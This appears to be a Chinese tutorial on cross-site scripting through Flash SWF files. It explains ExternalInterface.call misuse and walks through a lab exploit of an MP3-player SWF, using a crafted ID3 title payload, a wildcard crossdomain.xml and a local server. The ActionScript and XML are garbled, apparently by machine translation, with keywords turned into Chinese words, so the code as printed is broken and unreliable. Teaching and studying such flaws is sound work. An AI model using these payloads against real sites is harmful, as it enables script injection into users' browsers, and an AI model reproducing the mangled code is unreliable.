0x01 Flash XSS
xss一是指執行惡意js,那么為什么說flash xss呢?是因為flash有可以調用js的函數,也就是可以和js通信,因此這些函數如果使用不當就會造成xss。常見的可觸發xss的危險函數有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
0x02 ExternalInterface.call舉例
AS中ExternalInterface類是用來和js通信的,調用方法是用來調用js函數的,函數原型
ExternalInterface.call(functionName:字符串,...參數):*
fuctionName:要調用的JavaScript的函數名
參數:參數,可選
函數具體用法請參考
如下AS代碼
包
{import flash.display.Sprite; import flash.external.ExternalInterface; 公共類XSSTest擴展了Sprite {public function XSSTest() {var jsFunction:String = loaderInfo.parameters.jsFunction; var param:String =“abc”; ExternalInterface.call(jsFunction,param); } } }
這里通過flashvars傳遞了一個參數,是js的函數。這種方式比較常見,swf可以做成通用,放到不同的業務中使用,每次只需要傳入對應的js函數即可。但是,這里就存在漏洞了。
在瀏覽器中,構造URL:
XSSTest.swf jsFunction =alert(/xss/)
訪問SWF,並以獲取參數的形式傳入Flash變數,造成了 XSS
0×03實踐
這是一個簡單的網頁,里邊有flash做的MP3播放器。
我們先黑盒看一下:
查看網絡
加載了swf,查看源碼
看到MP3參數傳遞的是MP3文件。我們嘗試從URL傳遞參數訪問http://192.168.6.2/_files/XSSC1.swf?mp3=../1.mp3
看控制台,有奇怪的輸出。
把MP3文件下載下來分析一下
保存下來
右鍵屬性看摘要
這個文件的標題就是console的輸出,由此我們推測為文件里源碼有調用js函數console.log(“MP3的標題”) ;
既然是教程,那我們就白盒看一下這個SWF的源碼:
包
{ import flash.events。*; import flash.display。*; import flash.media。*; import flash.external。*; import flash.net。*; import flash.system。*; 公共類XSSC1擴展Sprite { private var m:聲音; 公共功能XSSC1(){ var mp3:* = null; var host:* = null; var u:* = null; var context:* = null; 超(); var p:* = this.loaderInfo.parameters; if((“mp3”in p)){ mp3 = p [“mp3”]; host =((mp3.match(/ ^(https?:\ / \ / [^ \\\ /] +)/))||([“”,“”]))[1]; Security.loadPolicyFile((host +“/ crosdomain.xml”)); u = new URLRequest(mp3); context = new SoundLoaderContext(1000,true); m = new Sound(); m.load(你,上下文); m.play(); m.addEventListener(Event.ID3,function(e:Event):void { if((m.id3中的“songName”)){ if(ExternalInterface.available){ 跡(m.id3.songName); ExternalInterface.call(“console.log”,m.id3.songName); }; }; }); }; } } }//包
那么,我們本地搭建web服務器,構造MP3標題即可觸發xss。
首先我們本地創建的Web服務器根目錄
把剛才下載的MP3復制進去,然后創建crossdomain.xml的文件,內容
<?xml version =“1.0”?> <! - http://www.foo.com/crossdomain.xml - > <!DOCTYPE跨域策略系統“http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”> <跨域策略> <allow-access-from domain =“*”/> <site-control allowed-cross-domain-policies =“all”/> <allow-http-request-headers-from domain =“*”headers =“*”/> </跨域策略>
然后我們修改1.MP3的標題為\“)); alert(1);} catch(a){} //,右鍵屬性
在cmd 里切換到web 目錄,執行C:\ Python27 \ python -m SimpleHTTPServer 80 開啟web 服務器
然后訪問http://192.168.6.2/_files/XSSC1.swf?mp3=http://192.168.5.66/1.mp3
成功XSS